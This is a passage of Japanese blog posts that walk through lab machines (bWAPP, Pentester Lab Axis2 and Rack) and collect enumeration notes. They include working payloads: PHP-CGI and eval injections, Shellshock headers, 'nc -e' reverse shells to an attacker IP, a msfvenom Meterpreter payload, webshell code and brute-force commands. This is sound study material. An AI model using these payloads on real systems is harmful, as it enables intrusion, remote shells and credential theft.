  • CGI方式では、PHPコードや引数を引き渡したphp-cgiを外部実行する。

今回はcgiという文字が見える通りCGI方式である
phpinfo.php?-s
というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示する
f:id:kakyouim:20200212173815p:plain
POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input
として、POSTデータを以下に書き換えると行けた!
<?php readfile('/etc/passwd'); ?>

  • allow_url_include=On
  • -dオプションを用いて、php.iniのディレクティブを外部から指定する。
  • auto_prepend_file=php://input
  • includeするファイルをURL指定でリモートから読み出すことを許可して、PHP実行に先立ち、スクリプトをincludeしておく。
  • <?php readfile('/etc/passwd'); ?>
  • ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行する。
    f:id:kakyouim:20200212173915p:plain

    ちなみに、
    nikto -h http://192.168.56.33/bWAPP/admin/
    でこの脆弱性を発見できている!
    f:id:kakyouim:20200212174157p:plain
    参考文献
    https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
    https://www.fumi.org/neta/201205sv.html

    PHP Eval Function

    f:id:kakyouim:20200212171755p:plain
    問題のソースコードは以下。
    COOKIE,POST,GETでeval=hogeとすることでeval関数を実行できる。

        <?php
        @eval($_REQUEST["eval"]);
        ?>
    
    php_eval.php?eval=system('cat /etc/passwd');
    で成功!
    f:id:kakyouim:20200212171948p:plain
    eval=phpinfo();
    eval=;echo exec('id');
    eval=;echo exec(id); 
    eval=;exec(‘nc -e /bin/sh 192.168.56.5 4444’);
    でも成功!
    execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)

    phpMyAdmin BBCode Tag XSS

    f:id:kakyouim:20200212193557p:plain
    f:id:kakyouim:20200212193612p:plain
    以下XSSスクリプト

    /phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It's+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This Is a Link[%2Fa]
    このような悪意のあるリンクを含んだページをXSSを用いて挿入できる
    f:id:kakyouim:20200212193716p:plain
    参考文献
    https://www.exploit-db.com/exploits/15699

    Shellshock Vulnerability (CGI)

    f:id:kakyouim:20200212193901p:plain
    /bWAPP/cgi-bin/shellshock.shにアクセスするとこのスクリプトが実行されるようです
    f:id:kakyouim:20200212194258p:plain
    Referer: () { :;};echo;/bin/echo "shell shock"
    f:id:kakyouim:20200212194044p:plain
    (){:;}の間にスペース必要!!!!
    以下のペイロードでも成功!
    Referer: () { :;};echo;echo "shell shock"
    Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
    User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"

    metasploitでも成功!
    metasploitではUserAgentを使って攻撃しています!

    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    set RHOSTS 192.168.56.33
    set targeturi /bWAPP/cgi-bin/shellshock.sh
    exploit
    f:id:kakyouim:20200212194855p:plain
    f:id:kakyouim:20200212194913p:plain
    参考文献
    https://net123.tistory.com/551
    https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/

    SQLiteManager PHP Code Injection

    f:id:kakyouim:20200213011146p:plain
    f:id:kakyouim:20200213011202p:plain
    f:id:kakyouim:20200213011352p:plain
    python2 /usr/share/exploitdb/exploits/multiple/webapps/24320.py http://192.168.56.33/sqlite/
    で、リモートからデータベースを作成してPHPコードを挿入できる
    データーベースファイルの拡張子を.phpにしておいて、そのデータベースにVauleとしてPHPコードを記述すれば、データベースファイルがPHPコードとして実行される。
    通常は、データベースファイルは.sqlite3などの拡張子となる。
    f:id:kakyouim:20200213011606p:plain
    上記Exploitが成功すると、phpinfoというデーターベースが作成される
    f:id:kakyouim:20200213011547p:plain
    database fileのあるパスにアクセスすると、database fileに記述された<?php phpinfo() ?>PHPコードとして実行し、phpinfo()の実行結果が表示されている
    f:id:kakyouim:20200213011659p:plain
    同様のことを手動でも確認する
    database fileをshell5.phpという名前で作成する
    f:id:kakyouim:20200213011938p:plain

    CREATE TABLE inject_table(codetab text);
    INSERT INTO inject_table VALUES('<?php system($_GET['cmd']); ?>');
    
    SQLで実行しようとしてみる
    f:id:kakyouim:20200213012011p:plain
    すると、以下のようなエラー
    f:id:kakyouim:20200213012111p:plain
    phpinfo()に書き換えるとうまく行く
    f:id:kakyouim:20200213012147p:plain
    f:id:kakyouim:20200213012203p:plain
    database fileのパスを[option]から確認
    f:id:kakyouim:20200213012232p:plain
    このパスにアクセスしてみると、phpinfo()の実行結果が表示されている!
    f:id:kakyouim:20200213012317p:plain
    次に、このphpinfo()を編集してWebshellを設置する
    f:id:kakyouim:20200213012353p:plain
    f:id:kakyouim:20200213012409p:plain
    以下のように編集する
    f:id:kakyouim:20200213012423p:plain
    f:id:kakyouim:20200213012446p:plain
    先ほどと同じパスにアクセスするとWebshellが動いている!
    f:id:kakyouim:20200213012527p:plain

    Other bugs

    Information Disclosure – Favicon

    f:id:kakyouim:20200213020345p:plain
    Drupalfaviconだよねってこと。
    f:id:kakyouim:20200213020400p:plain

    Information Disclosure – Headers

    f:id:kakyouim:20200213020431p:plain
    f:id:kakyouim:20200213020444p:plain

    Insecure iFrame (Login Form)

    f:id:kakyouim:20200213020508p:plain
    ソースコードは以下
    f:id:kakyouim:20200213020532p:plain
    このソースコードをさらに見てみる
    f:id:kakyouim:20200213020600p:plain
    attackerにPOSTされてしまうようになっている!
    実際にPOST先をBurpで見てみると以下のようになっている
    f:id:kakyouim:20200213020649p:plain

    Unrestricted File Upload

    • low
      f:id:kakyouim:20200213020713p:plain
      exploit.phpをアップできた!
      何もチェックしていない

    • medium
      f:id:kakyouim:20200213020834p:plain
      exploit.phtをアップするとPHPファイルとして実行された!
      ソースコードは以下

      function file_upload_check_1($file, $file_extensions  = array("asp", "aspx", "dll", "exe", "jsp", "php"), $directory = "images")
      {
        // Breaks the file in pieces (.) All pieces are put in an array
        $file_array = explode(".", $file["name"]);

      // Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);

      // Searches if the file extension exists in the 'allowed' file extensions array if(in_array($file_extension, $file_extensions)) {

       $file_error = &quot;Sorry, the file extension is not allowed. The following extensions are blocked: <span class="synIdentifier">&lt;</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot; . join(&quot;, &quot;, $file_extensions) . &quot;<span class="synIdentifier">&lt;/</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot;;
       return $file_error;
      

      }

    • high
      f:id:kakyouim:20200213020943p:plain
      webshell.php.jpgがアップできた!
      他にLFIなどの脆弱性があってこのファイルをPHPファイルとしてincludeできる場合、実行することができる!

      function file_upload_check_2($file, $file_extensions  = array("jpeg", "jpg", "png", "gif"), $directory = "images")
      {
        // Breaks the file in pieces (.) All pieces are put in an array
        $file_array = explode(".", $file["name"]);

      // Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);

      // Searches if the file extension exists in the 'allowed' file extensions array if(!in_array($file_extension, $file_extensions)) {

       $file_error = &quot;Sorry, the file extension is not allowed. Only the following extensions are allowed: <span class="synIdentifier">&lt;</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot; . join(&quot;, &quot;, $file_extensions) . &quot;<span class="synIdentifier">&lt;/</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot;;
       return $file_error;
      

      }

Walkthrough: Pentester Lab Axis2 Web service and Tomcat Manager

Pentester Lab: Axis2 Web service and Tomcat ManagerのWalkthroughです。
https://www.vulnhub.com/entry/pentester-lab-axis2-web-service-and-tomcat-manager,72/
なんとかshell奪うとこまで自力で行けたんですがいざ公式の解説読んでみると自分のやり方と全然違ってました。
ので自分が解いた方法のWalkthrough書くことにしました。
公式の解説は以下で見てください

pentesterlab.com

なお、調査の方法は自分の書いた記事を参考にしています。

kakyouim.hatenablog.com
(ここには解き終わったらその都度追加していってるので、今回の手法も書いてありますが解いてる時点では書いてありません)

ネットワークの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
    f:id:kakyouim:20200128193451p:plain
    192.168.56.31が対象のアドレスですね

  • nmap -p- -sV -sT -A 192.168.56.31
    f:id:kakyouim:20200128193547p:plain
    sshApachewebサービスが稼働しているようですね

  • nikto -h 192.168.56.31
    f:id:kakyouim:20200128193646p:plain
    有効なものとしては、
    • axis2/axis2-admin/の存在
    • axis2/axis2-admin/loginにuser=admin,password=axis2でログイン可能
    • CVE-2010-2103(axis2へのXSS)
      を検出しています。

      クレデンシャル情報が特定できているのはめちゃくちゃありがたいですね。
      どうやらaxis2ではログインのためのアカウントがデフォルトで存在しており、そのパスワードが変更されていなかったようですね。

      ちなみに、tomcatのバージョンもエラーページから判明しました。
      f:id:kakyouim:20200128194637p:plain
      tomcat 6.0.35とnmapから判明したApache 2.2.16をsearchsploitで検索してみましたが特にそれっぽいExploitは見つかりませんでした。

      axis2へ攻撃

      f:id:kakyouim:20200128194459p:plain
      上記に先ほど判明したクレデンシャルを入れてログイン。

      ログインすると、uploadページがあるのでここからWebshellをアップできそうです!
      f:id:kakyouim:20200128195002p:plain

      いろいろググってみると、clusterdというツールでaxis2にWebshellをアップできるようです。
      早速使おう!……と思ったのですがどうやらmsfpayloadがないことでエラーが起きています。現在はmafpayloadはmsfvenomにアップグレードされたため存在しません。
      つまりこのツールは動かなそうです。
      でも違いはそれだけなのでソースコードを参照して手動でWebshellを設置してみます

      f:id:kakyouim:20200128195427p:plain
      これから、この動作をmsfvenomで書き直すと、
      sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
      で行けそうです。
      これをアップロードしてみます。しかし以下のようなエラーにより動いていません
      f:id:kakyouim:20200128195805p:plain
      どうやらservices.xmlとがいうファイルが足りてないようです。
      またググってみると、以下のようなページを見つけたのでそれに従ってみます。

https://github.com/hatRiot/clusterd/wiki/Axis2

sudo jar -xvf shell.jarで一度展開し、
META-INF/src/module/generate_payload.pyに書かれているservices.xmlを追加。
metasploit/src/lib/axis2/PayloadServlet.classを追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat で再度jarファイルを作成し、アップロード。

f:id:kakyouim:20200128200301p:plain
これでエラーなく動いていますね!!
あとはMetasploitを起動して、

use multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.56.5
exploit

これでTCPHandlerを待機させておいて、
http://192.168.56.31/axis2/services/shellにアクセスすることでMeterpreterセッションがつながりました!
f:id:kakyouim:20200128200530p:plain


ヤッタゼ
でもこれって全然予想解答じゃないんですね……。自分はniktoの結果見て食いついてしまいました
Metasploit使っちゃったんですがこの方法でMetasploit使わずに成功させたいですね

最後に

予想解答ではなかったようですがShell取れたのでヨシ!(違う)
Metasploit使っちゃたので使わないで成功させる方法も考えたい。
Pentesterlab学べることが多くていいですね!

Pentester Lab: Rack Cookies and Commands Injection Walkthrough

難易度hardのマシンです。自分は難しくて手も足も出ませんでした……
基本的にはpenterster lab公式のWalkthroughを読むことをおススメします。ここにはそっちには書いていないような自分が試したこととかをメモします。完全なWalkthroughではないので悪しからず
調査する手順とか方法は自分が書いた

kakyouim.hatenablog.com
を参考にしています。

ネットワークの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
    f:id:kakyouim:20200127004130p:plain
    192.168.56.32ですね。
  • nmap -p- -sV -sT -A 192.168.56.32

    f:id:kakyouim:20200127004216p:plain
    sshとISCBINDが起動していますがどちらも脆弱ではないようです。Webサービスの稼働している80を見ていくことになりそうですね
  • nikto -h 192.168.56.32
    f:id:kakyouim:20200127004540p:plain
    特に有益な情報はないですね

  • owasp zap
    f:id:kakyouim:20200127004404p:plain
    自分はいろいろ試すためにowasp zapとかも使って見ています。どうやらログインページがあるだけのようですね

    調査は大体こんなもんでしょうか。次は、vulnhubの説明にもあるようにブルートフォースでログインを試みてみます

    Login Brute Force

  • hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -P /usr/share/john/password.lst -s 80 192.168.56.32 http-post-form '/login:login=^USER^&password=^PASS^:....'
    とりあえずhydra先輩を使ってみる、が成功せず……。なんでだ?と思いWiresharkで確認する
    f:id:kakyouim:20200127004937p:plain
    Locationヘッダーでリダイレクトしている様子。
    hydraはbodyの中に特定の文字列があるかどうかで判定しているが、今回はbodyには何も含まれずリダイレクトするので失敗していると考えられる。
    ツールの限界を知るのって大事ですね

  • medusa -h 192.168.56.32 -U /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:".." -m FORM-DATA:"post?login=&password=&"
    次に、medusa先輩を使ってみる
    f:id:kakyouim:20200127005302p:plain
    どうやらレスポンスコードが302の場合はエラーとなって実行できないようです。
    ツールによっていろいろ違うんですね

  • Burp Intruder
    次にBurp Suiteの機能の一つであるIntruderを使ってみます
    wordlistとして、/usr/share/metasploit-framework/data/wordlists/http_default_users.txtを使ってみます
    f:id:kakyouim:20200127005518p:plain
    どれも成功してません……
    BurpはPro版でなければスレッドを1以外に多分設定できないのでめっちゃ時間かかります。できれば別のワードリストで試したいですがそれは時間的に厳しそうです
    ちなみにBurpならリダイレクト先まで確認できるのでそれをみれば判定できそうです

    自分はここでギブアップしてしまいましたが、公式の解説を見るとどうやらpatatorというツールを使えばリダイレクト先までチェックできるようです
  • python patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=/usr/share/wfuzz/wordlist/general/big.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
    f:id:kakyouim:20200127010048p:plain
    これで成功しました!
    なお、標準でpatatorコマンドは入っているのですが、なんか動かなかったので新しく入れなおしました

ちなみにignoreオプションを付けてもいいのですが、レスポンスのサイズでも判別できるような気がするので、-l /tmp/patatorオプションでRUNTIME.logにコマンド実行結果を保存して、
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかで異常なレスポンスのサイズのやつを抽出すると、
f:id:kakyouim:20200127010404p:plain
こんな感じでtestだとわかりますね!


ちなみに、公式ではRubyブルートフォースコードも実装していましたが、勉強のためにpythonでも書いてみました(実際に別の言語でコードを書いてみよう!的なことが書いてあったので……)。

なお、公式の方では、Locationヘッダーに/login以外があるかどうかで判別していましたが、pythonの方ではSet-Cookieヘッダーがあるかないかで判別するようにしました

import urllib.request
import urllib.parse
from bs4 import BeautifulSoup
import sys
import subprocess

user_count = int(subprocess.check_output(['wc', '-l', sys.argv[1]]).decode().split(' ')[0])
pass_count = int(subprocess.check_output(['wc', '-l', sys.argv[2]]).decode().split(' ')[0])
print("Count file line:user",user_count," pass",pass_count)
count = 0

opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor())

url = 'http://192.168.56.32/login'
data = {
    'login': 'foo',
    'password': 'deadbeef',
}

headers = {
}

fp_user = open(sys.argv[1],'r',encoding="utf8",errors='ignore')
for user in fp_user.readlines():
    
    fp_pass = open(sys.argv[2],'r',encoding="utf8",errors='ignore')
    for password in fp_pass.readlines():
        data["login"] = user.rstrip('\n')
        data["password"] = password.rstrip('\n')
        #print("Try username:",user.rstrip('\n')," password:",password.rstrip('\n'))
        count = count + 1
        if((count % 300)==0):
            print("attack count ",count," percent:",100*count/(user_count*pass_count),"%")
        
        req = urllib.request.Request(url, urllib.parse.urlencode(data).encode('utf-8'), headers)
        res = opener.open(req)
        body = res.read()
        if res.info()['Set-Cookie'] != None:
            print("[+] Valid user Found!! user=",user.rstrip('\n')," password=",password.rstrip('\n'))
            #print(BeautifulSoup(body, 'html.parser'))
            sys.exit()
res.close()

これを実行すると、
f:id:kakyouim:20200127011133p:plain
testで成功しました!わーい!


これ以後は公式の解説通りなのでそっちを参照してください

最後に

ここではログインブルートフォースまでを記事にしました。参考になればよかったです。
Pentester Lab シリーズは公式の解説がめちゃくちゃ丁寧なのでぜひやってみることをお勧めします!
いつかhardレベルも解けるようになりたいものですね。

vulnhub調査メモ

自分用に雑に解く際の手法とかをまとめました。

文字数の都合上、WindowsのPrivilegeEscalationと調査の方針は以下に載せなおしました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたLinux PEは以下を参照してください。
kakyouim.hatenablog.com

ネットワークの調査

IPアドレスの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
  • sudo arp-scan -I eth0 -l
  • sudo nmap -sP 192.168.56.0/24
  • netdiscover -r 192.168.56.0/24

    脆弱性スキャン

  • nikto -h 192.168.56.10
    デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。
    遅い
  • nmap -p- -sV -sT -A 192.168.56.13
    遅い.
    -p-オプションでのすべてのポートのスキャンでは時間が非常にかかる場合がある.
    その場合は、1~5000,5001~10000として分けてスキャンするか、-sV(各ポートのバージョン情報を提供)を削除して、Defaultの-sTフラグで行い重要なポートにだけ-sVフラグをつける。
    openでもclosedでもなくfilterdという結果になった場合、パケットがフィルタリングされていることが原因でそこにサービスが稼働しているかどうかNmapが判断で来ていない。
    例えば以下のような場合、SSHサービスは稼働しているが特定のホスト(IPアドレス)からの通信のみを許可するようにIptablesに設定されていることが考えられる。
    つまり、特定のIPアドレスを持ったホストにしか22番はOpenしない。
PORT   STATE    SERVICE
22/tcp filtered ssh

nmap.org

脆弱性の調査

  • searchsploit apache | grep \ 2.2.
    とかで今のバージョンに対するExploitがないか調査する。このコマンドは使いまくる。

Webサービスの調査

手動で調査

ディレクトブルートフォース

  • dirb http://192.168.56.10
    ありそうな名前のディレクトリをブルートフォースで見つける。
    デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。cssやclasses、uploadsなどのディレクトリが見つかればWebshellアップロードができる可能性あり?(よくわからない)
    modulespluginsなどのディレクトリにアクセスできればその中に脆弱なものがあるか確認。また、そこからCMSが判明することもある。

  • wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --filter "c=200" http://192.168.56.32/FUZZ
    FUZZという単語はないとダメ
    最後にFUZZ/のように/を入れるとディレクトリを探索、FUZZのように/を入れないとファイルを探索する

  • python3 parsero.py -u 192.168.56.5
    robots.txtが見つかれば、そこにdisallowされている場所に重要な情報が書かれているかもしれないのでチェック

github.com

  • HTTP Response Code
    • 200(OK)
      リクエストが成功したことを示す
    • 204(No Content)
      リクエストに対して送信するコンテンツはないが、ヘッダーは有用であることを示す。
    • 301(Moved Permanently)
      リクエストされたリソースの URL が永遠に変更されたことを示す。
      レスポンスで新しい URL が与えられる。
      存在するディレクトリに対してアクセスするとこれが帰ってくるが、アクセスできるかは別。
    • 302(Found)
      リクエストされたリソースの URI が一時的に変更されたことを示す。
      URI は将来、新たに変更される可能性がある。
      つまり、ディレクトリは存在している。
    • 403(Forbidden)
      認証されていないなどの理由でクライアントにコンテンツのアクセス権がなく、サーバーが適切なレスポンスの返信を拒否していることを示す
    • 500(Internal Server Erro)
      サーバー側で処理方法がわからない事態が発生したことを示す。

      その他

  • curl -v "http://192.168.56.10
    ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。

curl -v -X OPTIONS http://192.168.56.10
で許可されているメソッドがリクエストヘッダに帰ってくる。PUTなどが許可されていないかどうか確認

  • curl -v "http://192.168.56.10 -b PHPSESSID=isn9ita3kajbt8o8hbruj9hau0
    -bオプションでCookieの値を送信
  • curl -D- -s -o /dev/null http://192.168.56.30/
    ヘッダーだけ表示

  • curl 192.168.56.5 -s -L | html2text
    レンダリングして表示

  • sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user"
    でこのページにSQLインジェクションできるかどうか調査する。--level 5を付けるとより詳細に調査する。こうしないと発見できないこともある。
    GETの時は上記のように書き、POSTの時は、
    sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php" --data "q=1&add_value=odm_user"
    のように書く。

tomcatの調査

  • http://target/manager/html
    tomcat managerというWebアプリケーションをGUIで管理するものがある。
    認証に用いるクレデンシャルはtomcat-users.xmlを参照する。
    古いバージョンのTomcatだと、ここにログインするアカウントがデフォルトで存在してるため脆弱。
    参考:デフォルトのクレデンシャル
    github.com
  • python3 bruteforce-http-auth.py -U tomcat_mgr_default_users.txt -P tomcat_mgr_default_pass.txt -t http://10.11.1.1:8080/manager/html -v
    /manager/htmlブルートフォース
    手動で行うとCookieによる回数制限があるので、ツールで行う方が都合がよい。(??)
  • msf > use auxiliary/scanner/http/tomcat_mgr_login
  • CVE-2007-0450,CVE-2007-1860
    Apachetomcatを使用している場合、バージョンによっては上記のようなディレクトリトラバーサルが可能。
    対象となるのは、Apache HTTP Server and Tomcat 5.x before 5.5.22 and 6.x before 6.0.10
    また、ApacheTomcatの通信にApache mod_jkモジュールを使用している場合も同様.
    対象となるのは、mod_jk in Apache Tomcat JK Web Server Connector 1.2.x before 1.2.23

axis2の調査

  • sudo python clusterd.py -a axis2 -i 192.168.56.31 -p 80 --deploy shell.jar --deployer service_upload --usr-auth admin:axis2 –invoke
    clusterdというツールでシェルアップロードなどの攻撃ができる。
    他にも、Jboss, ColdFusion, WebLogic, Tomcat, Railo, Axis2, Glassfishフレームワークを攻撃できるらしい
    ただし、--gen-payloadオプションは内部でmsfpayloadを使用しているがこれはもう使えないので最新版のKaliでは動作しない。msfvenom版は開発中とのこと。
    src/module/generate_payload.pyを参考にして自分でmsfvenomを使用するのがよさそう
    参考:
    github.com

  • http://192.168.56.31/axis2/axis2-admin/
    にはデフォルトでUser:admin, password:axis2でログインアカウントが用意されており、ログインしてWebshellを設置できるかも。

    スキャナを用いた調査

  • python sparta.py
    SPARTA
    GUIのネットワーク周りのスキャナ。rootで実行するとエラーがでるのでuserで実行
    f:id:kakyouim:20200116185756p:plain
  • openvasmd,openvas-startで起動
    OpenVAS
    無償のスキャナ.[New target]と[New task]で標的のIPを設定。
    f:id:kakyouim:20200116190240p:plain
    参考:
    脆弱性診断 - OpenVAS(使い方編) -ラズパイでワナビな日々を
  • OWASP ZAP
    OWASP ZAP
    [Alerts]に発見された脆弱性がのっている。
    f:id:kakyouim:20200116190220p:plain
  • sudo python3 cmsmap.py http://192.168.56.30
    CMSmap
    使われているCMSを特定。
    f:id:kakyouim:20200116190359p:plain

その他のサービスの調査

sshの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
    -Lでユーザー名のファイルを指定、-e nsrでnは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定。
    他の調査でユーザー名が判明している場合は、
    hydra -l john -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
  • ncrack -p 22 --user root -P /usr/share/wordlists/rockyou.txt 10.11.1.1
  • patator ssh_login host=10.11.1.1 user=root password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'

https://www.ihacklabs.com/en/brute-force-with-patator/www.ihacklabs.com

  • python2 /usr/share/exploitdb/exploits/linux/remote/45939.py 192.168.56.22 root
    OpenSSHのバージョンが7.7以下なら上記のコマンドでSSH接続できるユーザーを確認できる。(自分の環境ではsudo pip install -U cryptographyをする必要があった)
  • medusa -h 192.168.56.25 -u root -P /usr/share/john/password.lst -t 4 -M ftp
    www.hackingarticles.in

  • python crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
    github.com
    秘密鍵ブルートフォース
    以下のデフォルトの秘密鍵でも試してみる
    github.com

RDPの調査

  • crowbar -b rdp -s 10.11.1.1/32 -u administrator -C password.txt -n 4 -v
    vオプションですべての試行を表示。
    個人的にこれが一番安定して速く動作しているように思う。
    hydraはうまく動作していない気がする。
  • ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5
    BruteForce Login。crowbarよりはかなり遅いが一応できている。
    Exploitは以下の通り、IEを使ったClient Side Attackしかないので、BruteForce以外は悪用はない(???)
    f:id:kakyouim:20200310183221p:plain

    変なポートの調査

  • nc 192.168.56.10 666
  • telnet 192.168.56.10 666
    などでアクセスしてみる。

snmp(udp161)の調査

SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。

  • snmp-check 192.168.56.8
  • snmpwalk -v2c -c private 192.168.56.8
  • snmpwalk -v2c -c public 192.168.56.8
  • use auxiliary/scanner/snmp/snmp_login

参考文献
net123.tistory.com

telnet(23)の調査

  • telnet 10.11.1.1 23
    どんなサービスが動いているのか確認。
  • patator telnet_login host=192.168.1.106 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'
    Authenticationの時の挙動(Login:なのかUsername:なのか)によって変わりそう?なのでそれを確認してから実行したほうがよさそう。
    ちゃんとできてるかどうかWiresharkで確認した方がよいかも?

www.hackingarticles.in

domain(53)の調査

  • nslookup target-ip nameserver-ip
    nameserver-ipをName Server(53 domainが稼働しているサーバー)として、target-ipのドメインIPアドレスから逆引きする。
  • dig axfr target.com @10.10.10.1
    ZoneTransferを試す。
  • dnsrecon -d target.com -t axfr -n 10.10.10.1
    これでもできる。

    smtp(25)の調査

  • telnet 192.168.56.5 25
    telnet-Cオプションを付けてncでバナーを取得
    VRFY,EXPN,HELO 10.10.10.10,EHLO 10.10.10.10,AUTH LOGIN
HELO - 
EHLO - Extended SMTP.
STARTTLS - SMTP communicted over unencrypted protocol. By starting TLS-session we encrypt the traffic.
RCPT - Address of the recipient.
DATA - Starts the transfer of the message contents.
RSET - Used to abort the current email transaction.
MAIL - Specifies the email address of the sender.
QUIT - Closes the connection.
HELP - Asks for the help screen.
AUTH - Used to authenticate the client to the server.
VRFY - Asks the server to verify is the email user's mailbox exists.
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY root
252 2.0.0 root
VRFY roooooot
550 5.1.1 <roooooot>: Recipient address rejected: User unknown in local recipient table

VRFYコマンドでユーザーが存在するか、そのユーザーにメールアドレスが存在するか確認できる。
メール送信ポートだが、メールを取得することはできないので注意。
AUTH LOGINbase64エンコードされた状態でならログイン試行できる。

AUTH LOGIN
334 VXNlcm5hbWU6   # Username
cm9vdAo=                   # root
334 UGFzc3dvcmQ6    # Password
cm9vdAo=                   # root
535 Authentication Failed
  • smtp-user-enum -M VRFY -U users.txt -t 192.168.56.5
    VRFYなどのコマンドが使える場合、ユーザーをEnumできる
  • ./smtp-user-enum -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt 10.11.1.1 25 -V -m RCPT
    userは存在するが、そのUserにメールアドレスが存在しない場合、VRFYではErrorとなるので上記のデフォルトのsmtp-user-enumでは検知できない。
    そのため違うバージョンをInstallして実行する。
    RCPT TO:root送信先のUserを指定してOKかどうか確認する。
    以下のやつが使いやすい気がする。

github.com

  • nmap -p 25 192.168.56.5 --script=smtp-enum-users.nse
  • use auxiliary/scanner/smtp/smtp_enum
    www.puni.net

pop3(110,995)の調査

  • telnet 192.168.56.5 110
    telnet-Cオプションを付けてncでバナーを取得
    USER root
    PASS root
    でログイン
    LIST,RETR

  • nmap -p 110 192.168.56.5 --script=pop3-*

  • hydra -e nsr -L /usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt -t 4 10.11.1.1 pop3s
  • openssl s_client -connect 10.11.1.1:995
    995ポートではこれで、あとは同じ。
    www.hackingarticles.in

IMAP(143/993)の調査

  • telnet 10.11.1.1 143
    サーバーに保存されている電子メールにアクセスできる。
    ? NO login failedと出るとログイン失敗。
? login {user} {pass}
?? LIST "" "*"
??? select inbox
???? search all
??? fetch 1 full
? logout
  • openssl s_client -connect 10.11.1.1:993 -crlf
    SSL接続。

  • hydra -L user -P /usr/share/wordlists/rockyou.txt 10.11.1.1 -s 143 imap

smux(199)の調査

smux はUNIXにおけるSNMP用のマルチプレクサ(多重化した複数の情報を単一チャネルによって転送するサービス)である。
特にExploitも見つからないし、無視?

NTP(udp123)の調査

  • ntpdc -c sysinfo 10.11.1.1
    NTP(Network Time Protocol)は、コンピュータに内蔵されているシステムクロックをネットワークを  介して正しく同期させるためのプロトコル
    NTPにより時刻同期を行うことで指定時間に正しくサービスを動作させたり、出力ログを正しく管理できたり、証明書を利用した認証なども正しく行うことができる。
    searchsploitで検索した感じ、以下のRemoteBOFの一種類しかRemoreExploitはなさそう(??)
    FreeBSD 4.2-STABLE,RedHat Linux 7.0で実行できる可能性がある。
    f:id:kakyouim:20200319192928p:plain

nntp(119)の調査

  • telnet 192.168.56.5 119
    NNTPとは、インターネットなどのTCP/IPネットワーク上で記事の投稿や配信、閲覧などを行うためのプロトコル(通信規約)の一つ。標準のポート番号はTCPの119番。
    HELP,LIST

  • nmap -p 119 --script=nntp-ntlm-info 192.168.56.5
    以下の結果とググった感じだと、linuxのExploitはなさそう?
    f:id:kakyouim:20200304215414p:plain

msdtcの調査

分散トランザクションコーディネーターは、データベース(SQL Server)とWebサーバー間のトランザクションを調整するWindowsサービス。
悪用できるExploitはなさそう。
f:id:kakyouim:20200311180016p:plain
ただし、存在しないDLLを読み込もうとするため、DLLHijackが可能なのでPEで使えるかも。

rpcbind(111) の調査

  • rpcinfo -s 192.168.56.5
